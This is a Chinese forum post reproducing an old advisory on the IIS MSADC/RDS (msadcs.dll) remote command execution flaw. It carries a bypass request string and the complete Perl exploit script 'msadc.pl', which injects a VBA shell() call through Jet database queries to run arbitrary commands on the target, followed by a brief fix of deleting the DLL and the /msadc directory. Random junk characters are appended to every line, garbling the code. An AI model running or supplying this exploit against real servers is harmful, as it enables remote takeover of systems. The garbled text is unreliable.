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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) n7|,b- <  
O"#/>hmv-  
涉及程序: kJ?AAPC  
Microsoft NT server <O.|pJus  
+$F,!rV-s  
描述: %a]Imsm  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 > qPP_^]  
j^/=.cD|  
详细: /iL*)  
如果你没有时间读详细内容的话,就删除: 6Fc*&7Z+  
c:\Program Files\Common Files\System\Msadc\msadcs.dll wG73GD38  
有关的安全问题就没有了。 OlgM7Vrl  
m;0ZV%c*j  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 6ld /E  
j.[W] EfL~  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 !="8ok+  
关于利用ODBC远程漏洞的描述,请参看: y&V'GhW!dd  
bwa*|{R  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm >uDC!0)R  
bq9/ d4  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 )iJv?Y\]  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp xz~Y %Y|Z  
<`?%Cz AO  
这里不再论述。 z0%tBgqY(  
+.gj/uy*  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: DG}s`'  
VB`% u=  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset w&e3#p  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! wB:<ICm  
*m2?fP\  
3"sXN)j  
#将下面这段保存为txt文件,然后: "perl -x 文件名" 7GCxd#DJ  
yb>R(y  
#!perl M@Ti$=  
# v57<b&p26  
# MSADC/RDS 'usage' (aka exploit) script F3t IJz>3  
# qt6@]Y  
# by rain.forest.puppy [NV/*>"j&  
# K & %8w  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me -!V{wD3,B  
# beta test and find errors! 57q?:M=^  
8c>xgFWp9  
use Socket; use Getopt::Std; >s )L(DHa"  
getopts("e:vd:h:XR", \%args); 5hh6;)  
yF1p^>*ak&  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; lBa` nG  
xZY7X&C4  
if (!defined $args{h} && !defined $args{R}) { !,C8  
print qq~ xdVsbW)L2  
Usage: msadc.pl -h <host> { -d <delay> -X -v } [Zzztn+  
-h <host> = host you want to scan (ip or domain) [7NO !^  
-d <seconds> = delay between calls, default 1 second QKhGEW~G  
-X = dump Index Server path table, if available /,~g"y.;,  
-v = verbose +N'&6z0Wf  
-e = external dictionary file for step 5 Z:^ S-h  
d\zUtcJwC  
Or a -R will resume a command session KT17I&:  
|9p0"#4u  
~; exit;} C Sz+cS  
]re}EB\Rs  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; VGc.yM)& j  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} R&$fWV;'  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} Xoha.6$l5  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); `5"3Cj"M  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} drvrj~o:  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } uKj(=Rqq  
KzJJ@D*4M]  
if (!defined $args{R}){ $ret = &has_msadc; wEN[o18{  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} #N%j9  
G:@1.H`  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" m#-&<=  
. "cmd /c "; i|xz  
$in=<STDIN>; chomp $in; .&`apQD}  
$command="cmd /c " . $in ; QjD=JC+  
))nTd=  
if (defined $args{R}) {&load; exit;} ;/kmV~KG  
ru~!;xT  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; +1@'2w{  
&try_btcustmr; ; .b^&h  
 FsQoQ#*  
print "\nStep 2: Trying to make our own DSN..."; -f1lu*3\  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; [)kuu  
+n$ruoRJh  
print "\nStep 3: Trying known DSNs..."; cmAdQ)(Kzd  
&known_dsn; <_]W1V:0  
9M ;Y$Z  
print "\nStep 4: Trying known .mdbs..."; M?o_J4  
&known_mdb; /8Z&Y`G  
eKo=g|D  
if (defined $args{e}){ 6L)7Q0Z  
print "\nStep 5: Trying dictionary of DSN names..."; B@#vS=g  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } N 1.fV-  
0{u%J%;  
print "Sorry Charley...maybe next time?\n"; NjPQT9&3h  
exit; 3}fhU{-c  
G}LV"0?  
############################################################################## Z@%A(nZ_  
1=C<aRZ b^  
sub sendraw { # ripped and modded from whisker Se37-  
sleep($delay); # it's a DoS on the server! At least on mine... W}%"xy]N  
my ($pstr)=@_; ?YUL~P  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || V DZOJM)(  
die("Socket problems\n"); TA qX f_  
if(connect(S,pack "SnA4x8",2,80,$target)){ l?YO!$  
select(S); $|=1; 8EX?/33$  
print $pstr; my @in=<S>; 3g5r}Ug  
select(STDOUT); close(S); l;&kX6 w  
return @in; Do5.  
} else { die("Can't connect...\n"); }} {oR@'^N  
`M(st%@n  
##############################################################################  cV_-Bcb  
wAJ= rRI  
sub make_header { # make the HTTP request Bk^o$3#  
my $msadc=<<EOT F S$8F  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 ^~6gkS }  
User-Agent: ACTIVEDATA iq^;csyKb  
Host: $ip YW&`PJ9o  
Content-Length: $clen }Z t#OA $  
Connection: Keep-Alive a.RYRq4o  
&49WfctT  
ADCClientVersion:01.06 dV16'  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 .p?SPR  
YU!s;h  
--!ADM!ROX!YOUR!WORLD! cSNeWJKA6  
Content-Type: application/x-varg SXN]${  
Content-Length: $reqlen @1<VvW=  
JG7K-W|!c  
EOT |[>yJXxEL@  
; $msadc=~s/\n/\r\n/g; 4tx6h<L#s  
return $msadc;} }B!io-}  
]0[ot$Da6  
############################################################################## %iJ}H6m  
JfK4|{@  
sub make_req { # make the RDS request SU6Aq?`@  
my ($switch, $p1, $p2)=@_; *OIBMx#qxn  
my $req=""; my $t1, $t2, $query, $dsn; I_kA!^  
F6b;qb6n  
if ($switch==1){ # this is the btcustmr.mdb query }qWB=,8HQ  
$query="Select * from Customers where City=" . make_shell(); TJ_6:;4,|_  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . Zb|a\z8?  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} {E7STLQ_%  
 qmenj  
elsif ($switch==2){ # this is general make table query ,A)Z .OWOq  
$query="create table AZZ (B int, C varchar(10))"; ET 0(/Zz  
$dsn="$p1";} q_mxZM ->  
jzZ]+'t  
elsif ($switch==3){ # this is general exploit table query uPxjW"M+  
$query="select * from AZZ where C=" . make_shell(); g5u4|+70  
$dsn="$p1";} TIR Is1  
m~fDDQs  
elsif ($switch==4){ # attempt to hork file info from index server  pn) {v  
$query="select path from scope()"; mEkYT  
$dsn="Provider=MSIDXS;";} {MTtj4$  
&-X51O C  
elsif ($switch==5){ # bad query 8V9OMOt!  
$query="select"; [Fv,`*/sm  
$dsn="$p1";} 8.7q -<Q  
+P,ic*Kq*  
$t1= make_unicode($query); 4x3 _8/=  
$t2= make_unicode($dsn); a2kAZCQ  
$req = "\x02\x00\x03\x00"; c&{= aIe w  
$req.= "\x08\x00" . pack ("S1", length($t1)); Yx,7e(AI`  
$req.= "\x00\x00" . $t1 ; G007[|  
$req.= "\x08\x00" . pack ("S1", length($t2)); Jf\`?g3#  
$req.= "\x00\x00" . $t2 ; (0.JoeA`y  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; V<;_wO^  
return $req;} 0IA' 5)  
+dRRMyxe4  
############################################################################## 5J1a8RBR  
9zrTf%m F  
sub make_shell { # this makes the shell() statement n2Mpo\2  
return "'|shell(\"$command\")|'";} 7Cbr'!E\_V  
ccp9nXv  
############################################################################## $J,$_O6  
J&}1=s  
sub make_unicode { # quick little function to convert to unicode 01uj-!D$@  
my ($in)=@_; my $out; 'Ffvd{+:8  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } ~l{Qz0&  
return $out;} E AKW^'D  
C3~~h|:  
############################################################################## "a33m:]J  
Msfxce  
sub rdo_success { # checks for RDO return success (this is kludge) HDKY7Yr  
my (@in) = @_; my $base=content_start(@in); VB T 66kV  
if($in[$base]=~/multipart\/mixed/){ W tHJG5  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} q5@Nd3~h  
return 0;} MpvGF7H  
_@gg,2 u-  
############################################################################## _x#y   
bAuiMw7!  
sub make_dsn { # this makes a DSN for us 3>73s}3  
my @drives=("c","d","e","f"); L~by`q N_  
print "\nMaking DSN: "; jG)66E*"  
foreach $drive (@drives) { 0Zo><=  
print "$drive: "; vv<\LN0  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . p9mGiK4!  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" J^%E$ s  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); ^Jdg%U?  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; #o9CC)q5G  
return 0 if $2 eq "404"; # not found/doesn't exist >i.$s  
if($2 eq "200") { O, :|  
foreach $line (@results) { 4mEJu  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} Gm=&[?}  
} return 0;} TcJJ"[0  
Qz%q#4Zb  
############################################################################## burSb:JF  
kM=&Tfpj  
sub verify_exists { 6Yt3Oq<U  
my ($page)=@_; AN[pjC<  
my @results=sendraw("GET $page HTTP/1.0\n\n"); pS7y3(_  
return $results[0];} 61OlnmvE  
@\xEK5SG  
############################################################################## }1+2&Ps50  
5J&Gc;  
sub try_btcustmr { qe(C>qjMbG  
my @drives=("c","d","e","f"); XFl&(I4tB  
my @dirs=("winnt","winnt35","winnt351","win","windows"); :?m"kh ~  
zxx9)I@?A  
foreach $dir (@dirs) { A&%7Z^Pp  
print "$dir -> "; # fun status so you can see progress SkVah:cF-  
foreach $drive (@drives) { "{H{-`Ni  
print "$drive: "; # ditto 4gdXO  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; nA.U'=`  
$reqlenlen=length( "$reqlen" ); 4e; le&  
$clen= 206 + $reqlenlen + $reqlen; _%B,^0;C  
r<LWiM l?  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); :eB+t`M  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} ^T1caVb|>  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} Us2> 5 :\  
,1JQjsR   
############################################################################## B9cWxe4R#  
t7xJ "  
sub odbc_error { ]VtP7 Y  
my (@in)=@_; my $base; KbK!4  
my $base = content_start(@in); -49I3&  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this tx`^'%GMA  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; I3T;|;P7  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; DW:\6k  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; ba ,n/yH  
return $in[$base+4].$in[$base+5].$in[$base+6];} o_kZ  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; |Zp') JiS  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . ;p fN  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} FYefn3b  
H$Pf$D$  
############################################################################## -~4kh]7%  
D;+Y0B  
sub verbose { w T_l>u  
my ($in)=@_; Az#kE.8b*A  
return if !$verbose; -;qK_x  
print STDOUT "\n$in\n";} \ :q@I]2  
Dvl\o;  
############################################################################## Nt?=0X|M  
]*U; }  
sub save { Q`Pe4CrWvu  
my ($p1, $p2, $p3, $p4)=@_; HJpx,NU'  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; (dO0`wfM  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; yGC HWP  
close OUT;} }NdLd!  
!,5qAGi0  
############################################################################## DZb0'+jQ  
M\IdQY-c  
sub load { 9:Bn-3)  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; vMn$lT@  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); SNSoV3|k-  
@p=<IN>; close(IN); 00y(E @~  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); `w@z Fc!"  
$target= inet_aton($ip) || die("inet_aton problems"); 5b I4' ;  
print "Resuming to $ip ..."; X(DP=C}v9  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; "@5{=  
if($p[1]==1) { 4mX]JH`UTe  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; L5 Ai  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; dWwb}r(ky  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); hg'eSU$J  
if (rdo_success(@results)){print "Success!\n";} ^%g 8OP  
else { print "failed\n"; verbose(odbc_error(@results));}} r( wtuD23q  
elsif ($p[1]==3){ Iq6EoDoq  
if(run_query("$p[3]")){ Dsv2p~  
print "Success!\n";} else { print "failed\n"; }} ^U,C])n  
elsif ($p[1]==4){ a_b+RMy  
if(run_query($drvst . "$p[3]")){ ^r7KEeVD  
print "Success!\n"; } else { print "failed\n"; }} .i` -t"  
exit;} %P#| }  
N#R8ez`  
############################################################################## GU Mf}y  
_@y9=e  
sub create_table { 9O^~l2`  
my ($in)=@_; q1r-xsjV=  
$reqlen=length( make_req(2,$in,"") ) - 28; 9fM=5  
$reqlenlen=length( "$reqlen" ); fJ\ u8  
$clen= 206 + $reqlenlen + $reqlen; q%/.+g2-\  
my @results=sendraw(make_header() . make_req(2,$in,"")); JPgFTr  
return 1 if rdo_success(@results); #E<~WpP  
my $temp= odbc_error(@results); verbose($temp); J^~J&  
return 1 if $temp=~/Table 'AZZ' already exists/; 1UB.2}/:  
return 0;} k{ZQM  
[W <j  
############################################################################## MD,BGO?C  
9j5Z!Vsy  
sub known_dsn { b#t5Dve  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go XQ}7.u!  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", NPa4I7`A  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", N"~P$B1 X  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); r(n>N0:0Ls  
KR hls"\1  
foreach $dSn (@dsns) { "(';UFa  
print "."; XZ8]se"C  
next if (!is_access("DSN=$dSn")); 6KN6SN$  
if(create_table("DSN=$dSn")){ iP$>/[I  
print "$dSn successful\n"; &Fk|"f+  
if(run_query("DSN=$dSn")){ X .K*</(g  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { />>KCmc  
print "Something's borked. Use verbose next time\n";}}} print "\n";} RcO.1@2  
[?2?7>D8  
############################################################################## eU]I !pI<  
F)/4#[  
sub is_access { FS('*w&bP  
my ($in)=@_; < 5ULu(b&$  
$reqlen=length( make_req(5,$in,"") ) - 28; ZR{YpLFQ  
$reqlenlen=length( "$reqlen" ); j``Ku@/x0  
$clen= 206 + $reqlenlen + $reqlen; _Ii=3Qsf  
my @results=sendraw(make_header() . make_req(5,$in,"")); lC d\nE8G  
my $temp= odbc_error(@results); a^O>i#i  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); X>]<rEh  
return 0;} 0+e 0<'  
2:yXeSeA  
############################################################################## M%SNq|Lo  
nKTi"2dm  
sub run_query { KXWz(L!1  
my ($in)=@_; v`6vc)>8  
$reqlen=length( make_req(3,$in,"") ) - 28; /WX&UAG  
$reqlenlen=length( "$reqlen" ); Ru);wzky  
$clen= 206 + $reqlenlen + $reqlen; sULsUt#  
my @results=sendraw(make_header() . make_req(3,$in,"")); Q(BZg{  
return 1 if rdo_success(@results); YNp-A.o W@  
my $temp= odbc_error(@results); verbose($temp); Ou f\%E<  
return 0;} 0B~x8f  
C}9|e?R[Rz  
############################################################################## N7X(gh2h  
,hT**(W  
sub known_mdb { xz +;1JAL3  
my @drives=("c","d","e","f","g"); {q~N$"#  
my @dirs=("winnt","winnt35","winnt351","win","windows"); tejpY  
my $dir, $drive, $mdb; F hyY+{%  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; mFd|JbW  
5,Co(K  
# this is sparse, because I don't know of many jz\>VYi(7  
my @sysmdbs=( "\\catroot\\icatalog.mdb", ,bB}lU)  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", plNw>rFa  
"\\system32\\certmdb.mdb", iI*qx+>f?  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% 7|!Zx-}  
#TeAw<2U  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", 'I2[} >mj2  
"\\cfusion\\cfapps\\forums\\forums_.mdb", Ngm/5Lc  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", ]2[\E~^KU  
"\\cfusion\\cfapps\\security\\realm_.mdb", [V5,1dmkI  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", =xb/zu(  
"\\cfusion\\database\\cfexamples.mdb", IiX2O(*ZE  
"\\cfusion\\database\\cfsnippets.mdb", |]Y6*uEX<  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", 9wdX#=I  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", t0^)Q$  
"\\cfusion\\brighttiger\\database\\cleam.mdb", _u~`RlA  
"\\cfusion\\database\\smpolicy.mdb", scrss  
"\\cfusion\\database\cypress.mdb", *WWDwY@!u  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", JX{rum  
"\\website\\cgi-win\\dbsample.mdb", 0 r;tI"  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", /}5)[9GC  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" Q} g"pl  
); #these are just ]^@m $O  
foreach $drive (@drives) { PevT`\>  
foreach $dir (@dirs){ VZ9`Kbu  
foreach $mdb (@sysmdbs) { vsYbR3O  
print "."; _m%Ab3iT~  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ 9.6ni1a'  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; )2:U]d%pk  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ 6/Z_r0^O  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; IhK%.B{dZ  
} else { print "Something's borked. Use verbose next time\n"; }}}}} "|PX5  
V.ae 5@;  
foreach $drive (@drives) { HisH\z/i5)  
foreach $mdb (@mdbs) { Enp;-wG:-  
print "."; 7--E$ !9O,  
if(create_table($drv . $drive . $dir . $mdb)){ +.*=Fn22  
print "\n" . $drive . $dir . $mdb . " successful\n"; tC7 4=  
if(run_query($drv . $drive . $dir . $mdb)){ =>GGeEL  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; tS,AS,vy]  
} else { print "Something's borked. Use verbose next time\n"; }}}} 8N`Rf; BM  
} >aCY  
5R1? jlm  
############################################################################## *I k/Vu%;  
|"eC0u  
sub hork_idx { :G5O_T$  
print "\nAttempting to dump Index Server tables...\n"; 5mm&l+N)  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; %Bg>=C)^(1  
$reqlen=length( make_req(4,"","") ) - 28; w@,v$4Oi  
$reqlenlen=length( "$reqlen" ); mZjP;6  
$clen= 206 + $reqlenlen + $reqlen; b$`/f:_  
my @results=sendraw2(make_header() . make_req(4,"","")); UcB2Aauji  
if (rdo_success(@results)){ w+XwPpM0.n  
my $max=@results; my $c; my %d; YH{n   
for($c=19; $c<$max; $c++){ ?rdWhF]  
$results[$c]=~s/\x00//g; %+C6#cj  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; pM*( kN  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; RiIafiaD  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; >#Bu [nD%  
$d{"$1$2"}="";} zN\C  
foreach $c (keys %d){ print "$c\n"; } KJt6d`ZN  
} else {print "Index server doesn't seem to be installed.\n"; }} (:}}p}u  
xb&,9Lxd|  
############################################################################## 5BM6Pnle  
q3GkfgY  
sub dsn_dict { ,lb}&uZo  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); ]Z [0xs  
while(<IN>){ hE4qs~YB!  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; ^Qxv5HS2  
next if (!is_access("DSN=$dSn")); )X8N|W>vh  
if(create_table("DSN=$dSn")){ |jcIn[)=  
print "$dSn successful\n"; V&lx0Dy  
if(run_query("DSN=$dSn")){ 6Z@T /"mU(  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { V2'5doo  
print "Something's borked. Use verbose next time\n";}}} hXD/  
print "\n"; close(IN);} 6E_YUk?KW  
=(v'8?--  
############################################################################## zV"'-iP  
<." @H<-`*  
sub sendraw2 { # ripped and modded from whisker &@D\4b,?nm  
sleep($delay); # it's a DoS on the server! At least on mine... z<9Llew^e  
my ($pstr)=@_; o ethO  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || RE08\gNIt  
die("Socket problems\n"); dl3}\o_  
if(connect(S,pack "SnA4x8",2,80,$target)){ n ON]YDg  
print "Connected. Getting data"; Cli:;yi&n  
open(OUT,">raw.out"); my @in; s$^2Qp  
select(S); $|=1; print $pstr; ]q&NO(:kbq  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} lLU8eHf\  
close(OUT); select(STDOUT); close(S); return @in; cV4Y= &  
} else { die("Can't connect...\n"); }} ^szi[Cj  
P5lk3Zg '  
############################################################################## }|Bs|$q  
:b;`.`@KL_  
sub content_start { # this will take in the server headers zqp>Xw  
my (@in)=@_; my $c; WzBr1 ea{I  
for ($c=1;$c<500;$c++) { D4~]:@v~n  
if($in[$c] =~/^\x0d\x0a/){ d\r-)VWSr"  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } @eq.&{&  
else { return $c+1; }}} & +yo PF  
return -1;} # it should never get here actually ;ssI8\LG  
y8} /e@&  
############################################################################## 4Ofkagg  
A-YW!BT4  
sub funky { QI78/gT,d  
my (@in)=@_; my $error=odbc_error(@in); ]3 QW\k~  
if($error=~/ADO could not find the specified provider/){ \=o0MR  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; {*K$gH$  
exit;} #WAX&<m  
if($error=~/A Handler is required/){ a TPq1u  
print "\nServer has custom handler filters (they most likely are patched)\n"; v3<q_J'qT  
exit;} ^Ww5@  
if($error=~/specified Handler has denied Access/){ g1Osd7\o  
print "\nServer has custom handler filters (they most likely are patched)\n"; s3 VD6xi7  
exit;}} -TS,~`O  
8fP TxvXqL  
############################################################################## >oC{YYcK  
`O0y8  
sub has_msadc { d;{k,rP6  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); O9AFQ)u   
my $base=content_start(@results);  , YlS  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); aDu[iaZ  
return 0;} dAy\IfZX=  
E5Sn mxd  
######################## 32`Z3-  
WADEDl&,'  
js% n]$N  
解决方案: 0;hn;(V]"  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll UKPr[  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 "F4 3q8P  
A8Km8"  
拿出来充数 哈哈
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